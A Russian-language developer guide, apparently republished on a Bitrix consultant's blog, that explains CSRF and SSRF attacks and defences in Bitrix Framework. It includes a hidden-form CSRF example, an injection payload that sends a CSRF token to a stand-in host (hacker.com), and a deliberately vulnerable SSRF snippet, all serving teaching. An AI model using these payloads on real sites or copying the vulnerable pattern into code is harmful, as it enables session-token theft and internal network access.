Эффективная интеграция и кастомизация функционала в Битрикс24 часто требует работы на уровне API. Сегодня мы подробно рассмотрим «Csrf Ssrf: Руководство разработчика». Вы узнаете экспертные методики работы с запросов и научитесь избегать типичных ошибок начинающих разработчиков.
—
title: CSRF и SSRF
—
CSRF и SSRF-атаки представляют серьезную угрозу безопасности веб-проектов. Они позволяют выполнять нежелательные действия от имени пользователя или сервера.
CSRF-атака
Cross-Site Request Forgery, CSRF — межсайтовая подделка запроса. При этой атаке пользователь выполняет нежелательные действия на доверенном сайте, где он уже авторизован.
Принцип CSRF-атаки
1. Пользователь авторизуется на сайте, например, cool-bank.com.
2. Браузер сохраняет cookie-файлы сессий.
3. Пользователя перенаправляют на вредоносный сайт, например, evil.com.
4. Сайт evil.com отправляет скрытую форму на cool-bank.com.
<form action="https://cool-bank.com/sendmoney" method="POST">
<input type="hidden" name="sendmoney" value="1000">
</form> В примере используется форма, чтобы отправить запрос на перевод денег от имени пользователя.
5. Браузер пользователя автоматически добавляет cookie авторизации.
6. cool-bank.com выполняет действие от имени пользователя.
Как защититься от CSRF
Существует два основных подхода, которые эффективно работают вместе: CSRF-токены и SameSite cookie.
CSRF-токены
CSRF-токен — это секретное и непредсказуемое значение, которое сервер генерирует и передает пользователю. Пользователь включает токен в каждый запрос с авторизацией. Сервер проверяет токен перед выполнением действия.
Bitrix Framework предоставляет функции для работы с токенами.
-
bitrix_sessid()— возвращает CSRF-токен. Он является идентификатором сессии.
echo bitrix_sessid(); // feb8414592f24d96f6fd0c656e6ccd67-
bitrix_sessid_post()— вставляет токен в форму.$varnameпо умолчанию имеет значениеsessid.
'<input type="hidden" name="' . $varname . '" id="' . $id . '" value="' . bitrix_sessid() . '" />'-
bitrix_sessid_get()— формирует параметр для GET-запросов. Используйте функцию, чтобы выполнить конфиденциальные действия через GET. Например, выйти из системы. Сформируйте ссылку так:'url?parameters&' . bitrix_sessid_get();.
echo bitrix_sessid_get(); // sessid=feb8414592f24d96f6fd0c656e6ccd67-
check_bitrix_sessid()— проверяет, совпало ли значениеbitrix_sessidс$varnameили заголовкомX-Bitrix-Csrf-Token.
return (
$request[$varname] === bitrix_sessid() ||
$request->getHeader('X-Bitrix-Csrf-Token') === bitrix_sessid()
);В общем виде для проверки корректности запроса достаточно добавить check_bitrix_sessid в условие:
if (check_bitrix_sessid()) {
// Действие выполняется
}Включайте токен для AJAX-запросов с помощью функции BX.bitrix_sessid().
Выполняйте запросы на изменение состояния приложения методом POST. Передача токена через GET может привести к его раскрытию. Если необходимо использовать GET, после обработки запроса сделайте редирект без CSRF-токена.
HTML-инъекции могут нарушить форматирование и привести к утечке CSRF-токена. Например:
<form method="POST" action="/action.php">
<input type="text" name="foo" value="<?= $injection ?>"
<!-- Это наш секретный CSRF-токен! -->
<?= bitrix_sessid_post() ?>
...
</form>
<script>
var someVar = 'text';
</script>Если в $injection попадет строка "\"><img src='http://hacker.com/?token=", отправленная пользователем, получится форма следующего вида:
<form method="POST" action="action.php">
<input type="text" name="foo" value="" />
<img src='http://hacker.com?token="'>
<!-- Это наш секретный CSRF-токен! -->
<input type="hidden" name="sessid" id="sessid" value="random" />
</form>
<script>
var someVar = 'text';
</script>Все, что следует после внедренной строки до первой одинарной кавычки, станет частью ссылки на hacker.com. Браузер попытается загрузить картинку по ссылке. Чтобы избежать этого, размещайте токен как можно выше в форме, желательно в самом начале.
<form method="POST" action="/some.page">
<?= bitrix_sessid_post() ?>
...
</form>При внедрении JavaScript это не поможет. Скрипт может получить доступ к любым элементам DOM независимо от их расположения.
SameSite
SameSite — это дополнительный атрибут для cookie. Он указывает браузеру, отправлять ли cookie в межсайтовых или внутрисайтовых запросах. Это обеспечивает частичную защиту от CSRF и других атак.
Безопасную cookie можно сделать двумя способами:
1. через функцию setcookie:
setcookie('cookie_name', 'cookie_value', ['samesite' => 'Strict']);2. с помощью \Bitrix\Main\HttpResponse::addCookie:
$cookie = new Cookie("cookie_name", "cookie_value");
$cookie->setSameSite("Strict");
$context = Application::getInstance()->getContext();
$context->getResponse()->addCookie($cookie);Атрибут SameSite может принимать следующие значения:
-
None— ограничения на файлы cookie не устанавливаются,
-
Strict— cookie отправляются только в рамках одного домена и не передаются при переходах между разными сайтами,
-
Lax— cookie передаются только при безопасных HTTP-запросах в межсайтовых переходах, но блокируются для небезопасных методов и при загрузке вложенных ресурсов.
Установка атрибута SameSite=Strict для всех сookie может ухудшить пользовательский опыт, особенно при межсайтовых переходах. Например, если пользователь авторизуется на сайте, а затем переходит по внешней ссылке, сookie-файлы не отправятся, и он окажется неавторизованным.
Атрибут SameSite=Lax — более гибкий вариант, но его можно обойти, например, через GET-запросы вместо POST или клиентские перенаправления.
Выбор между Strict и Lax зависит от типа сайта.
-
Laxподходит для интернет-магазинов, где важна удобная навигация.
-
Strictпредпочтителен для банковских приложений, где безопасность в приоритете.
SSRF-атака
Server-Side Request Forgery, SSRF — подделка серверных запросов. Атака позволяет отправлять запросы от имени сервера.
$http = new HttpClient();
print_r($http->get($_GET['uri']));В примере сервер напрямую обращается к произвольному адресу и выводит ответ на экран. Параметр uri может быть использован для доступа к внутренним сервисам.
Почему это опасно
Представьте, что на сервере работает служба на порте 1337. Доступ к службе закрыт для внешнего мира. Однако, если удастся отправить запрос от имени сервера, можно получить доступ к службе. Это позволит сканировать внутреннюю сеть или выполнять произвольный код.
Как защититься от SSRF
Для защиты от SSRF-атак ограничьте возможность отправки запросов к внутренним ресурсам. Это можно сделать с помощью встроенных механизмов Bitrix Framework.
Ограничение доступа к частным IP
Используйте метод setPrivateIp(false) в HTTP-клиенте, чтобы запретить запросы к частным адресам.
$http = new HttpClient(); // Создаем объект HTTP-клиента
$http->setPrivateIp(false); // Запрещаем доступ к частным IP
$http->get($_GET['uri']); // Пытаемся отправить запросПри попытке запроса к локальному адресу HTTP-клиент вернет ошибку.
Безопасная загрузка изображений
Используйте CFile::MakeFileArray() для безопасной загрузки изображений с удаленных хостов. Метод проверяет файл на корректность и предотвращает загрузку вредоносных данных.
$file = CFile::MakeFileArray($_GET['uri']);
if ($file) {
$res = CFile::CheckImageFile($file);
if ($res === null) {
// Изображение корректно, можно продолжать
} else {
// Обработка ошибки
}
}💡 Экспертное мнение и рекомендации
Советы эксперта по интеграции:
- Всегда используйте кэширование при частых запросах к запросов, чтобы разгрузить базу данных.
- Соблюдайте стандарты PSR при написании обработчиков для «Csrf Ssrf: Руководство разработчика».
- Регулярно проводите аудит производительности системы с помощью встроенного монитора 1С-Битрикс.
Похожая задача в бизнесе?
Помогу автоматизировать процессы и внедрить ИИ
Меня зовут Андрей Горошко. Я Full-stack разработчик и эксперт по 1С-Битрикс. Настраиваю CRM Битрикс24, разрабатываю защищенные API и создаю умных ИИ-агентов для автоматизации рутины.
или на почту: gorandvas@yandex.ru